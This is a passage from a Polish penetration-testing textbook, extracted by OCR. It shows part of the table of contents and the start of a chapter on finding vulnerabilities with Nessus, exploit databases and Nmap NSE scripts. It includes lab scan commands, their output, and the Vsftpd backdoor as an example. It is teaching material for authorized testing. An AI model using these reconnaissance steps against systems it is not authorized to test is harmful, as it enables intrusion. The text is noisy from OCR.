Kontrolowanie wskaznika EIP ............ccooiiiiiiniiiniiiicicceceeeeecceecse e 465
Przejmowanie kontroli nad dziataniem programu ............ccccevininiinnininnininniiiinns 467
Kolejnosé (Starszenstwo) DAJtOW ..........coceevieriiriiniiniieieeieeie ettt 469
POASUMOWENIE ..ottt s 471

17
PRZEPELNIENIE BUFORA NA STOSIE W SYSTEMIE WINDOWS ...ccccceceee 473
Wyszukiwanie znanych podatnosci i luk w zabezpieczeniach serwera War-FTP ............... 474
Wymuszanie awarii ProZramuU .......c..coceeeeeeeieienienieneneneneeeetesestessessessessesseesesseessesenses 476
Lokalizowanie rejestru EIP .........coouiiiiiiiieeeete ettt 479
Wyszukiwanie offsetu adresu powrotu za pomocg cyklicznego wzorca ........c..cccueeueee.e. 480
Weryfikacja znalezionych offSEtOW .......cccccevieriiriiniiiiiiieeieetceeee e 484
Przejmowanie kontroli nad dziataniem programu ...........cc.ceceverenereneneeieneeneeneneseneenes 486
Uruchomieni€ POWIOKI ......c..ccuerieririiiiriieietcieteste sttt sttt ettt 492
POASUMOWANIE ..ottt e e 498

18
ZASTEPOWANIE STRUKTURALNE] OBSLUGI WYJATKOW ....cccccececceeeeee 499
Exploity nadpisujace procedury SEH ..........cccoiiiiiinininieeeeeseeeee et 500
Przekazywanie sterowania do procedur SEH ........cc.coceiiiiiiiiininininneccceeee 506
Wyszukiwanie ciggu znakow exploita W pami€Ci .........coceeeevirniiiiiiniieniinieceeeeeeeeeene 506
POP POP RET ...ttt sttt sttt sttt sttt sttt ettt 511
SAFESEH ..ttt ettt ettt 512
Zastosowanie krotkich SKoOKOW ...........ccccoiviiiininiiiiiiiecee e 516
Wybieranie tadunku .........c..ooeeiiiiiiiiieeeece ettt st 517
POASUMOWENIE .....oiiiiiiiiiiiiiice e s 520

14 Spis tresci
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

19
FUZZING, PRZENOSZENIE KODU EXPLOITOW

| TWORZENIE MODULOW METASPLOITA 521
FUZZOWANIE ProgramOW .....cc.cociiiiiiiiiiiieieeitet ettt ettt b ettt e e 522
Wyszukiwanie btedéw poprzez analize kodu zrédtowego .........ooveveereinieiiniienicnienen. 522
Fuzzowanie serwera TFTP ... 523
Proba wywotania awarii Programu .........ccceevieiiiiiiiiniinienineeee e 525
Dostosowywanie kodu publicznie dostepnych exploitéw do wtasnych potrzeb ................. 529
WYSZUKIWENIE aIrESU POWIOTU ....c..eeuieuieuiiiiiententenieeitetetetessessessesaeese et estessentenseseensesuens 532
Zamiana Kodu POWIOKI ....c..ccueruieiiiiiiicienientee ettt ettt sresae et 533
Edytowanie kodu eXploita ..........ccceeiiiiiiiiniininini e 533
Tworzenie nowych modutdw Metasploita ..o 535
Tworzenie podobnego modutu eXploita ...........c.covierieriiiiniiniinieeeeee e 538
Tworzenie kodu Naszego eXPlOita ........cc.ecievieriiriririnieieteeee ettt 538
Techniki zapobiegania atakom .........c.coerereririiieeeeere ettt 543
Technika Stack COOKIES .........coevieuiriiiiiiriiiciiceeeee e 543
Mechanizm ASLR — randomizacja uktadu przestrzeni adresowej ........cc.cocceveveeeeeennee 544
Mechanizm DEP — zapobieganie wykonywaniu danych ............ccccoccooiiinninnnn 545
Obowiazkowe cyfrowe podpisywanie Kodu ..........ccccceceeverieniienienenienieneeneeneeieeiene 545
POASUMOWANIE .....ouiiiiiiiiiiiiiict et s 546
Vv
Ataki na urzadzenia mobilne

20
PAKIET SMARTPHONE PENTEST FRAMEWORK 549
Wektory atakéw na urzadzenia mobilne ...........ccccccciiiiiiinininiii 550
WiadomOSCi tEKSTOWE ........oouiiiiiiiiiiiiiciicieciteeeeereee et 550
Pofaczenia NFC ...ttt ettt e 551
KOAY QR ettt 552
Pakiet Smartphone Pentest Framework ..o 552
Konfiguracja pakietu SPF ........cc.coioiiiiiiiieereneeee ettt 552
Emulatory systemu Android ...........coceoiiiiiiiiiiiin e 554
Dotaczanie urzadzen mobilnych ........ccccooiiiiiiiii e 555
Budowanie aplikacji SPF dla systemu Android ...........cccceviniiiiiniininini 555
Instalowanie aplikacji SPF .......cc.cooiiii e 556
taczenie serwera SPF z aplikacja mobilng .........cccoiiiiiiiiiniiniiiieeecceeeeeees 557
ALK ZAAINE ..o e 559
Domyslne poswiadczenia logowania SSH na telefonach iPhone ..........ccccovcniinienennene 559
Ataki po Stronie KIENta .........c.coceeiiriiiiieeeeeee et 561
Powtoka po stronie Klienta .............ccccooiiiiiiiniiiiiiiiiiiicccecreee e 561
Zdalna kontrola nad urzadzeniami mobilnymi za pomoca mechanizmu USSD ............... 563

Spis tresci 15
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

ZEOSIIWE APIKACIE ..ottt s 565

Tworzenie ziosliwych agentow SPF ......c..coiiiiiiiiiiiiiceee et 566
Powtfamaniowa eksploracja urzadzen mobilnych ... 573
Zbieranie iNfOrMAG]i ......coeeiriiiiiieieieieereet ettt s 573
ZdalNe SLEFOWANIE .....cuervieuiiiiiiiieieiest ettt sttt sbe b s 575
Pivoting z wykorzystaniem urzadzen mobilnych ......c...ccccooeeviiiinininceeee, 575
POdNOSZENIE UPFraWNI€N ......cc.eiuiriiruiriieieteteete ettt ettt et sa ettt sae e 582
POASUMOWENIE ..ottt st 583
MATERIALY DODATKOWE 585
SKOROWIDZ 591

POBIERANIE OPROGRAMOWANIA DLA SRODOWISKA TESTOWEGO ... 608

16 Spis tresci
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Wyszukiwanie podatnosci
i luk w zabezpieczeniach

Kup ksigzke

ZANIM ROZPOCZNIEMY ROZSYLANIE I WYKORZYSTYWANIE EXPLOITOW, MUSIMY
NAJPIERW PRZEPROWADZIC NIECO DODATKOWYCH BADAN I ANALIZ. PROBUJAC
IDENTYFIKOWAC PODATNOSCI I LUKI W ZABEZPIECZENIACH, MUSISZ AKTYWNIE
poszukiwaé elementéw, ktére pomoga Ci przetamaé zabezpieczenia atakowanego
systemu. Cho¢ niektére firmy i konsultanci zajmujacy sie testami penetracyjnymi
w tej fazie ograniczajg sie tylko do uruchamiania zautomatyzowanych skaneréw,
szczegétowa analiza podatnosci i luk w zabezpieczeniach przeprowadzona przez
doswiadczonego pentestera przyniesie zdecydowanie lepsze rezultaty, niz mozna
by znalez¢ w wynikach dziatania jakiegokolwiek zautomatyzowanego narzedzia.

W tym rozdziale oméwimy kilka r6znych metod wyszukiwania i analizy podat-
nosci oraz luk w zabezpieczeniach, takich jak zastosowanie skaneréw podatnosci,
analiza celu czy metody reczne.
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Od skanu z detekcja wersji do wykrycia
potencjalnej luki w zabezpieczeniach

Teraz, kiedy dysponujemy juz szeregiem informacji na temat srodowiska celu
i potencjalnych plaszezyzn ataku, mozemy opracowaé kilka scenariuszy dziatania,
ktére moga doprowadzi¢ nas do pomyslnego przeprowadzenia testu penetracyjnego.
Na przykltad udato nam sie¢ odkry¢, ze serwer FTP pracujacy na porcie 21 oglasza
sie jako Vsftpd 2.3.4 (pelna nazwa tego oprogramowania to Very Secure FTP).

Na dziefi dobry mozemy $miato przyjaé zalozenie, ze oprogramowanie, ktére
nosi w nazwie okreslenie bardzo bezpieczny (ang. very secure) samo prosi sie
o ktopoty. I rzeczywiscie, w lipcu 2011 roku doszlo do powaznego wlamania do
repozytoriéw pakietu Vsftpd, w wyniku ktérego binaria pakietu zostaly podmie-
nione na pliki zawierajace backdoora (z ang. dost. ,tylne wejscie”), co pozwolito na
nieautoryzowane dostanie sie na serwer kazdego uzytkownika, w ktérego nazwie
konta znalazla sie uémiechnieta buzka :). Zalogowanie sie na takie konto powo-
dowato automatyczne udostepnienie powloki uzytkownika root na porcie 6200.
Kiedy problem zostal odkryty, binaria z backdoorem zostaly usuniete z repozy-
torium i zastgpione oficjalnymi plikami nowej wersji Vsftpd 2.3.4. Cho¢ obecnosé
serwera Vsftpd 2.3.4 na atakowanej maszynie nie gwarantuje co prawda, ze znaj-
dziemy tam jakie$ podatnosci czy luki w zabezpieczeniach, to jednak zdecydo-
wanie jest to jeden z elementéw, ktére warto uwzglednié w przygotowaniach do
ataku. Przeprowadzanie testow penetracyjnych bedzie zdecydowanie latwiejsze,
kiedy mozemy wykorzysta¢ luke w zabezpieczeniach czy backdoor, ktéry umiescit
tam juz kto§ inny.

Nessus

Pakiet Nessus firmy Tenable Security to jeden z najczesciej uzywanych komercyj-
nych skaneréw podatnosci, warto jednak zauwazy¢, ze wiele innych firm oferuje
szereg poréwnywalnych produktéw. Nazwa skanera pochodzi od imienia jednego
z mitologicznych centauréw, zgladzonego przez innego bohatera greckich mitéw,
Heraklesa. Krew centaura spowodowala pézniej Smierc¢ réwniez samego Heraklesa.
Baza danych pakietu Nessus zawiera dane o dzesiatkach tysiecy podatnosei i luk
w zabezpieczeniach r6znych platform operacyjnych oraz protokoléw, a jego skaner
wykorzystuje te baze do przeprowadzania testéw. Na temat pakietu Nessus bez
trudu znajdziesz bardzo wiele doskonatych ksiazek i szkolen, a kiedy nabierzesz
wprawy w poslugiwaniu sie tym narzedziem, przekonasz sie, ze przyniesie Ci ono
wiele korzy$ci i ulatwi zycie pentestera. Ze wzgledu na szeroka dostepnosé zna-
komitych materialéw szkoleniowych w tym rozdziale oméwimy pakiet Nessus
tylko pokrétce.

Pakiet Nessus jest dostepny w dwéch wersjach licencyjnych. Profesjonalna
wersja platna (licencja komercyjna) jest przeznaczona dla zawodowych pente-
steréw i zespoloéw bezpieczenistwa IT firm oraz organizacji, ktére moga ja wyko-
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rzystywa¢ do skanowania podatnosci i luk w zabezpieczeniach swoich sieci kom-
puterowych. Oprécz tego istnieje réwniez bezplatna, niekomercyjna wersja pakietu,
nazywana Nessus Home, ktérej mozesz uzyé do pracy z éwiczeniami i przykla-
dami opisywanymi w tej ksigzce. Wersja Nessus Home pozwala na skanowanie
maksymalnie 16 adres6w IP (pakiet Nessus nie jest co prawda preinstalowany
w systemie Kali Linux, ale szczegétows instrukeje instalacji opisywalismy juz
w rozdziale 1.).

Zanim bedziesz mégt uruchomié¢ skaner, musisz najpierw wlaczyé demona
pakietu Nessus. Aby to zrobi¢, powiniene§ skorzysta¢ z polecenia service przed-
stawionego ponizej. Wykonanie tego polecenia spowoduje udostepnienie inter-
fejsu WWW skanera Nessus na porcie TCP/8834.

root@kali:~# service nessusd start

Teraz uruchom przegladarke sieciows i w pasku adresu wpisz hitps://kali:8834
(jezeli cheesz skorzystaé z interfejsu pakietu Nessus znajdujacego sie w innym
systemie, musisz zastapi¢ nazwe kali adresem IP lub nazwa zdalnego hosta). Po
kilku minutach inicjalizacji powiniene$ w oknie przegladarki zobaczy¢ ekran logo-
wania, przedstawiony na rysunku 6.1. Do zalogowania si¢ powiniene$ uzy¢ nazwy
konta uzytkownika i hasta, ktére utworzyle$ podczas instalacji pakietu Nessus
w rozdziale 1.

A georgia

Remember M3 m

Rysunek 6.1. Ekran logowania interfejsu WWW skanera Nessus

Karta Policies — tworzenie polityki skanowania Nessusa

Interfejs WWW skanera Nessus jest podzielony na kilka kart znajdujacych sie
w gornej czesci ekranu, tak jak zostalo to przedstawione na rysunku 6.2. Konfi-
guracje pakietu rozpoczniemy od karty Policies (polityki skanowania). Polityki
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Scans Schedules Policies sers georgia ¥

Policies Upload

All Policies
No policies have been created. You can add new policies by clicking the "New Policy” button,

Rysunek 6.2. Polityki skanowania Nessusa

skanowania Nessusa przypominaja nieco pliki konfiguracyjne, ktére informuja
Nessusa, jakich podatnosci i luk w zabezpieczeniach ma poszukiwad, jakich ska-
neréw portéw powinien uzy¢ i tak dale;j.

Aby utworzy¢ nowa polityke skanowania, naci$nij przycisk New Policy (nowa
polityka), znajdujacy sie po lewej stronie okna interfejsu. Na ekranie pojawi sie
szereg kreatoréw (ang. Policy Wizards — kreatory polityk skanowania), ktére
pomoga Ci utworzy¢ odpowiedniag polityke skanowania, dostosowang do $rodo-
wiska celu, tak jak zostalo to przedstawione na rysunku 6.3. W naszym przypadku
wybierz opcje Basic Network Scan (podstawowe skanowanie sieci).

Policy Wizards

M ‘EF{

Host Discovery Basic Network Scan Credentialed Patch Audit

Asimpk polcy to discover live hosts Afullsystem scan suitable for any Authenticates o hosts and
and opan ports. host. anumerates missing updates

& = ]

Web Application Tests Windows Malware Scan Mobile Device Scan
A policy toscan for published and A policy to scan for makware on Assess mobie devices via
unknown web vulnerabilities. Windows systems. Exchange ora Mobil Device
Manaaer,

Cancel

Rysunek 6.3. Kreatory tworzenia polityki skanowania Nessusa

Po wybraniu kreatora zostaniesz poproszony o podanie kilku podstawowych
informacji na temat tworzonej polityki skanowania, takich jak nazwa polityki, opis
oraz czy inni uzytkownicy bedg mieli do niej dostep, co zostato pokazane na
rysunku 6.4. Po wpisaniu odpowiednich informacji nacisnij przycisk Next (dalej).

184 Rozdziat 6
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Kup ksigzke

New Basic Network Scan Policy / Step 1 of 3

o Define your policy name, description, visibility, and post-scan editing preferences:

Folicy Name georgiaspolicy
Visibility private -
Description basic policy for Georgia's book

Allow Post-Scan Report W
Editing

Rysunek 6.4. Podstawowe informacje o tworzonej polityce skanowania

W kolejnym oknie kreatora zostaniesz poproszony o wskazanie, czy skanowana
bedzie sie¢ wewnetrzna (opcja Internal), czy sie¢ zewnetrzna (opcja External), co
zostalo pokazane na rysunku 6.5. W naszym przypadku wybierz opcje Internal
i naci$nij przycisk Next.

New Basic Network Scan Policy / Step 2 of 3

o Choose the type of scan to configure:

Scan type Internal -
Intermnal

External

Rysunek 6.5. Wybieranie rodzaju skanu
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Jezeli posiadasz odpowiednie uwierzytelnienia (nazwa uzytkownika i hasto
dostepu), Nessus moze zalogowa¢ sie do badanego hosta i poszuka¢ podatnosci
oraz luk w zabezpieczeniach, ktére mogg sie nie ujawnié podczas skanowania
hosta z zewnatrz. Takie rozwigzanie jest czesto stosowane przez wewnetrzne
zespoly bezpieczenistwa IT do sprawdzania stanu zabezpieczen ich sieci. Nazwe
uzytkownika i hasto dostepu mozesz poda¢ w kolejnym kroku kreatora, tak jak
zostalo to przedstawione na rysunku 6.6. Na potrzeby naszego przyktadu pozo-
staw jednak wszystkie pola puste i naci$nij przycisk Save (zapisz).

Step 3 of 3

Provide credentials to detect missing patches and client-side vulnerabilities (optional):

Authentication method Windows -

Windows

Nessus can enumerate Windows settings, detect insecure configurations, and identify missing Microsoft or third-party
updates. Please provide the credentials for a user account that has local administrative privileges on the targets being
scanned

Usemame
Password

Domain

Rysunek 6.6. Dodawanie nazwy konta i hasta dostepu

Po zakoniczeniu nowa polityka skanowania bedzie wy$wietlana na liscie na
karcie Policies, co zostalo pokazane na rysunku 6.7.

Schedules Policies
Upload
All Policies
Name ~ Owner Type
georgiaspolicy georgia Private

Rysunek 6.7. Nowa polityka skanowania zostaje wyswietlona na liscie

Skanowanie za pomocq Nessusa

Skoro utworzyte$ juz odpowiednig polityke skanowania, mozesz przej$é na karte
Scans (skany) i uruchomié¢ proces skanowania. Aby to zrobi¢, wybierz opcje Scans/
New Scan (skany/mowy skan) i wpisz odpowiednie informacje na temat skanu, tak
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jak zostalo to przedstawione na rysunku 6.8. Musisz tutaj podaé¢ nazwe skanu
(pole Name), wybra¢ polityke skanowania (opcja Policy) oraz wskaza¢ system badz
systemy, ktére beda skanowane (opcja Targets).

< Scans New Scan / Basic Settings
Basic Seftings Name bockscan
Schedule Settings
Policy georgiaspolicy -
Email Settings
Folder My Scans -
[amots 192.168.20.10
192.168.20.11
192.168.20.12
Upload Targets Add File

Rysunek 6.8. Uruchamianie skanu Nessusa

Po uruchomieniu Nessus przeprowadzi serie testéw i sprébuje wykryé podat-
nosci oraz luki w zabezpieczeniach istniejace w srodowisku celu. Dziatajacy
skan pojawia sie na liScie na karcie Scans, tak jak zostalo to przedstawione na
rysunku 6.9.

Upload
Scans / My Scans
Name Last Updated « Status
bookscan March 22, 2014 14:18:50 +  Completed

©1998 - 2014 Tenabk Netwok S=curity®. All Rights Ress e

Rysunek 6.9. Lista dziatajqcych skanéw Nessusa

Kiedy skan zakoficzy dzialanie, mozesz wyswietli¢ wyniki, klikajac jego nazwe,
tak jak zostalo to przedstawione na rysunku 6.10.

Jak wida¢ na rysunku, w systemach Windows XP i Ubuntu Nessus znalazl kilka
powaznych podatnosci oraz luk w zabezpieczeniach, natomiast w przypadku
maszyny z systemem Windows 7 w raporcie znalazlo si¢ tylko troche danych
informacyjnych.
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Rysunek 6.10. Ogélne podsumowanie wynikéw skanu

Aby wyswietli¢ szczegétowy raport dla wybranego hosta, po prostu kliknij
jego nazwe na liscie. Szczegétowy raport dla maszyny z systemem Windows XP
zostal przedstawiony na rysunku 6.11.
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Rysunek 6.1 1. Nessus dzieli znalezione podatnosci na odpowiednie kategorie
i do kazdej luki dodaje krdtki opis

O skanerach podatnosci mozna méwi¢ wiele rzeczy, ale w praktyce bardzo
trudno znalez¢é produkt, ktéry potrafitby da¢ Ci naprawde ogromng ilo$¢ informa-
¢ji o srodowisku celu w tak krétkim czasie i w tak efektywny sposéb jak Nessus.
Na przyktad w raporcie koficowym od razu widaé, ze w naszym celu z systemem
Windows XP poprawka MS08-067, ktérag omawialismy w rozdziale 4., rzeczywi-
$cie nie jest zainstalowana. Wyglada réwniez na to, ze brakuje tam takze innych
poprawek i aktualizacji zabezpieczen dla serwera SMB.

Ktérg luke w zabezpieczeniach bedzie najtatwiej wykorzysta¢? Wyniki dzia-
ania skanera Nessus dla poszczegélnych luk w zabezpieczeniach bardzo czesto
zawierajg szereg informacji na temat potencjalnych mozliwosci wykorzystania
danej luki czy podatno$ci. Na przyktad klikniecie w raporcie luki MS08-067
(patrz rysunek 6.12) ujawnia, ze gotowe exploity dla tej luki sg dostepne w pakiecie
Metasploit oraz kilku innych narzedziach, takich jak Core Impact czy Canvas.

188 Rozdziat 6
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

R MS08-087: Microsolt Windaws Server Service Crafled RPC Request Handling Remel., < Plugin Details

Description
Pisk Infarmation
Thie rmsect hos 8 vuineratie 15 8 Butler cwamun in e Senver servics that may alow an aflacke 15 axacuts artsirary code on 1he rasats host win the

Byste privitages.
Vulnersbility intsrmation
salution

Microsoll has rassed B 840 o pabches 1t Winsows 2008, XP%, 2001, Vists ard 2001

~  Explafiable Wit

Sae Als0

Output

Rysunek é6.12. Wpis w raporcie zawierajqgcy szczegétowe informacje na temat luki
MS08-067

Kilka stow na temat rankingu podatnosci
i luk w zabezpieczeniach

Nessus tworzy ranking wykrytych w trakcie skanu luk w zabezpieczeniach, oce-
niajac poszezegdlne podatnosei wedtug kryteriow CVSS w wersji 2. (ang. Common
Vulnerability Scoring System), opracowanych przez National Institute of Stan-
dards and Technology (NIST). Pozycja w rankingu jest obliczana na podstawie
tego, jaki wplyw moze mie¢ na system potencjalne wykorzystanie danej luki
w zabezpieczeniach. Cho¢ im wyzsza ocena luki w rankingu Nessusa, tym powaz-
niejsze wydaje sie zagrozenie z nig zwigzane, to jednak rzeczywisty poziom ryzyka
wigzacy sie z wystepowaniem takiej czy innej podatnosci w duzym stopniu zalezy
od konkretnego $rodowiska celu. Na przyktad Nessus klasyfikuje mozliwo$¢ ano-
nimowego dostepu do serwera FTP jako podatno$é o srednim poziomie ryzyka
(ang. medium risk vulnerability). Jezeli jednak na takim serwerze nie ma zadnych
wrazliwych dokumentéw, to ryzyko zwigzane z dzialaniem takiego serwera moze
zmaleé¢ do minimalnego lub wrecz zerowego poziomu. Z drugiej strony czasami
styszymy, ze taka czy inna firma przez przypadek badz zaniedbanie pozostawila na
publicznie dostepnym serwerze FTP na przyklad kopie kodu zrédlowego swojego
najnowszego oprogramowania. Jezeli zatem podczas przeprowadzania zewnetrznego
testu penetracyjnego sieci klienta jeste§ w stanie dobra¢ sie do wrazliwych doku-
mentéw czy danych, po prostu logujac sie jako anonimowy uzytkownik do serwera
FTE, to mozesz spokojnie zatozy¢, ze kazdy rozgarniety napastnik moze zrobi¢ to
samo — nietrudno sie domysli¢é, ze taka sytuacja wymaga natychmiastowego skon-
taktowania sie z klientem. Same narzedzia nie sa w stanie dokona¢ odpowiedniej
oceny takiej sytuacji — do tego bedzie potrzebny odpowiedni pentester.

Dlaczego powinienes uzywac skaneréw podatnosci?

Pomimo ze niektére materiaty szkoleniowe z zakresu przeprowadzania testéw pene-
tracyjnych niemal catkowicie pomijaja zagadnienia zwigzane z przeprowadzaniem
automatycznego skanowania w poszukiwaniu podatnosci i luk w zabezpieczeniach
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ze wzgledu na to, ze do§wiadczony pentester moze samodzielnie znalez¢ to samo
co skanery, to jednak dobre skanery podatnosci nadal sg bardzo warto$ciowymi
narzedziami, zwlaszcza kiedy musimy przeanalizowaé duzg liczbe celéw w rela-
tywnie waskim oknie czasowym. Warto jednak zauwazyé, ze jezeli jednym z celow
przeprowadzanego testu penetracyjnego jest unikniecie wykrycia, to z pewno$cig
powinienes sie dwa razy zastanowié¢, czy powiniene§ korzysta¢ z mocno ,hala-
sujacego” skanera podatnosci.

Cho¢ Nessus nie znalazl niektérych podatnosci i luk w zabezpieczeniach
obecnych w naszym $rodowisku testowym, to jednak jego uzycie, w polaczeniu
z informacjami zebranymi w fazie rekonesansu, dalo nam solidny fundament do
rozpoczecia prob przelamywania zabezpieczen srodowiska celu. Nawet najbar-
dziej ortodoksyjni specjalisci, ktérzy twierdza, ze pentester moze i powinien zaste-
powac skaner, mogg skorzysta¢ ze znajomosci sposob6éw dziatania oraz wykorzy-
stania skaneréw podatnosci. W idealnym $wiecie kazda firma czy organizacja
powinna przeprowadza¢ regularne, pelnowymiarowe i catkowicie bezkompromi-
sowe testy penetracyjne, ale w rzeczywistosci ich przeprowadzenie bez uzycia
zautomatyzowanych skaneréw podatnosci staje sie praktycznie zadaniem niewy-
konalnym.

Eksportowanie wynikéw skanowania

Kiedy Nessus zakonczy skanowanie, mozesz wyeksportowaé otrzymane wyniki
dziatania. Aby to zrobi¢, powinienes skorzysta¢ z przycisku Export (eksport), znaj-
dujacego sie w prawej goérnej czesci okna interfejsu programu, co zostalo poka-
zane na rysunku 6.13.

Policies

bookscan i Export ¥ | Audit Trail
Nessus
Scans > Hosts R Notes
5 PDF
HTML
Host Vulnerabilities &
Gsv

Rysunek 6.13. Eksportowanie wynikéw skanowania

Nessus potrafi eksportowaé wyniki dziatania do formatéw PDE HTML, XML,
CSV i kilku innych. W zaleznosci od sytuacji i potrzeb klienta mozesz oczywiscie
przekaza¢ mu ,.surowe” wyniki skanowania, ale nigdy nie powinienes postepowaé
tak, ze eksportujesz wyniki, dotaczasz do nich logo swojej firmy i przedstawiasz
jako koricowe wyniki przeprowadzonego testu penetracyjnego. Profesjonalne prze-
prowadzenie testu penetracyjnego wymaga znacznie wickszego nakladu pracy
i analiz niz tylko prostego uzycia skanera podatno$ci. W praktyce powiniene$
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zawsze weryfikowaé wyniki otrzymane z automatycznych skaneréw podatnosci
i taczy¢ je z danymi z wlasnych analiz, gdyz dopiero to w efekcie pozwoli Ci na
otrzymanie pelnego obrazu podatnosci i luk w zabezpieczeniach badanego §ro-
dowiska celu.

W kolejnych podrozdziatach oméwimy kilka innych metod analizowania podat-
nosci i luk w zabezpieczeniach réznych systemow.

Odkrywanie podatnosci i luk w zabezpieczeniach

Jezeli w raporcie Nessusa nie znajdziesz wystarczajacych informacji na temat
okreslonej luki czy podatnosci, powiniene$ o nie zapyta¢ stara, dobra wyszuki-
warke Google. Oprécz tego dodatkowych informacji mozesz szuka¢ na takich
portalach jak http:/www.securityfocus.com/, hitp://packetstormsecurity.org/,
hitp:/lwww.exploit-db.com/ oraz http:/www.cve.mitre.org/. Na przyklad informacji
o danej podatnosci mozesz szuka¢ za pomoca identyfikatora CVE (ang. Common
Vulnerabilities and Exposures), numeréw biuletynéw zabezpieczen firmy Microsoft
itp., uzywajac zapytan Google takich jak na przyktad ms08-067 site:securityfo-
cus.com. Luka MS08-067 narobila w §wiecie sporo zamieszania, wiec z pewno-
$cia po wykonaniu takiego czy podobnego zapytania nie bedziesz mégt narzekad
na brak danych (wiele ciekawych informacji na jej temat znajdziesz réwniez
w rozdziale 4.).

W przypadku wielu luk w zabezpieczeniach bedziesz réwniez w stanie zna-
lezé gotowy kod PoC exploitéw (ang. Proof of Concept) wykorzystujacych taka
czy inng podatno$¢. Wiecej szczegotowych informacji na temat pracy z publicz-
nie dostepnym kodem zrédtowym znajdziesz w rozdziale 19., ale powiniene$
zawsze pamietaé, ze w przeciwienistwie do exploitéw zweryfikowanych przez
deweloperéw i spotecznosé uzytkownikéw projektow takich jak Metasploit, nie
kazdy kod znaleziony w internecie dziata zgodnie z opisem. Fadunek osadzony
w publicznie dostepnych exploitach moze spowodowaé zniszczenie czy powazne
uszkodzenie systemu atakowanego hosta badz tez na przyktad dotaczy¢ takiego
hosta do sekretnego botnetu kontrolowanego przez autora exploita. Pracujac
z publicznie dostepnymi exploitami, powiniene$ zawsze zachowa¢ szczegdlng
ostrozno$¢ i dokladnie sprawdzi¢ ich domniemane funkcjonowanie przed pierw-
szym uruchomieniem ich w sieci produkeyjnej. Oprécz exploitéw w internecie
mozna znalez¢ wiele ciekawych informacji o podatnosciach i lukach w zabezpie-
czeniach, publikowanych przez ich odkrywcow.

NSE — Nmap Scripting Engine

Kup ksigzke

W tym podrozdziale powiemy kilka stéw na temat kolejnego narzedzia pozwa-
lajacego na przeprowadzanie zautomatyzowanych skanéw w poszukiwaniu podat-
nosci i luk w zabezpieczeniach. Jak zapewne pamietasz, pakiet Metasploit prze-
szedl dluga droge ewolucji od frameworka pozwalajacego na uruchamianie
exploitéw do pelnowymiarowego pakietu wspomagajacego przeprowadzanie testow
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penetracyjnych. Obecnie podobng Sciezka podaza pakiet Nmap, ktéry dzieki
zaimplementowaniu modulu NSE (ang. Nmap Scripting Engine) z poczatkowego
prostego skanera portéw staje sie narzedziem pozwalajacym na wykonywanie
publicznie dostepnych skryptéw i tworzenie wlasnych rozwigzan.

Skrypty modutu NSE znajdziesz w systemie Kali Linux w katalogu /usr/share/
nmap/scripts. Dostepne skrypty zostaly podzielone na kilka kategorii, takich jak
zbieranie informacji, aktywne skanowanie podatnosci, poszukiwanie §ladéw
poprzednich wlaman itp. Na listingu 6.1 przedstawiono liste skryptéw dostep-
nych w domyslnej instalacji systemu Kali Linux.

Listing 6. 1. Lista skryptéw NSE programu Nmap

root@kali:~# cd /usr/share/nmap/scripts
root@kali:/usr/local/share/nmap/scripts# 1s

acarsd-info.nse ip-geolocation-geobytes.nse
address-info.nse ip-geolocation-geoplugin.nse
afp-brute.nse ip-geolocation-ipinfodb.nse
afp-Ts.nse ip-geolocation-maxmind.nse
(...)

Aby wyswietli¢ bardziej szczegétowe informacje na temat okreslonego skryptu
lub kategorii skryptéw, powiniene§ w wierszu wywolania skanera Nmap uzy¢
flagi --script-help. Na przyklad aby wyswietli¢ liste wszystkich skryptéw z kate-
gorii default, powiniene$ uzy¢ polecenia nmap --script-help default, tak jak
zostalo to przedstawione na listingu 6.2. Umieszczenie skryptu w tej czy innej
kategorii zalezy od bardzo wielu czynnikéw, takich jak wiarygodnosé i niezawod-
no$¢ skryptu czy bezpieczenstwo dzialania.

Listing 6.2. Ekran pomocy skryptow w kategorii default
root@kali:~# nmap --script-help default

Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT
(...)
ftp-anon
Categories: default auth safe
http://nmap.org/nsedoc/scripts/ftp-anon.html

Checks if an FTP server allows anonymous logins.

If anonymous is allowed, gets a directory listing of the root directory
“>-and highlights writeable files.
(...)

Jezeli wywolujac skaner Nmap, uzyjesz flagi -sC, ktéra oprécz skanowania
portéw przeprowadza skan za pomoca skryptéw, zostang wykonane wszystkie
skrypty z kategorii default, co zostalo pokazane na listingu 6.3.
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Listing 6.3. Wyniki dziatania skryptow Nmap z kategorii default
root@kali:~# nmap -sC 192.168.20.10-12

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST

Nmap scan report for 192.168.20.10

Host is up (0.00038s Tlatency).

Not shown: 988 closed ports

PORT STATE SERVICE

21/tcp  open ftp

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| drwxr-xr-x 1 ftp ftp 0 Aug 06 2009 incoming

| _-r-r-r-- 1 ftp ftp 187 Aug 06 2009 onefile.html

| _ftp-bounce: bounce working!

25/tcp  open smtp

| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY @, EXPN, ETRN,
>XTRN,

| _ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML
SHELP NOOP QUIT

79/tcp open finger

| _finger: Finger online user list request denied.

80/tcp open http

| _http-methods: No Allow or Public header in OPTIONS response (status code 302)
144 Chapter 6

| http-title: XAMPP 1.7.2 @

| Requested resource was http://192.168.20.10/xampp/splash.php

(...)

3306/tcp open mysql

| mysql-info: MySQL Error detected!

| Error Code was: 1130

| Host '192.168.20.9' is not allowed to connect to this MySQL server (3]

(...)

Jak wida¢ w wynikach dziatania, wykonanie skryptéw NSE z kategorii default
przyniosto nam wiele bardzo ciekawych informacji. Na przyktad mozemy sie prze-
konaé, ze serwer SMTP dziatajacy na porcie 25 maszyny z systemem Windows
XP pozwala na uzywanie komendy VRFY @, ktéra umozliwia sprawdzenie, czy
konto uzytkownika o podanej nazwie istnieje na serwerze poczty elektroniczne;j.
Jezeli znamy nazwe takiego konta, uzycie tej komendy moze znacznie ulatwié
odgadniecie hasta.

Oprocz tego w wynikach dzialania mozemy takze zobaczyé, ze serwer WWW
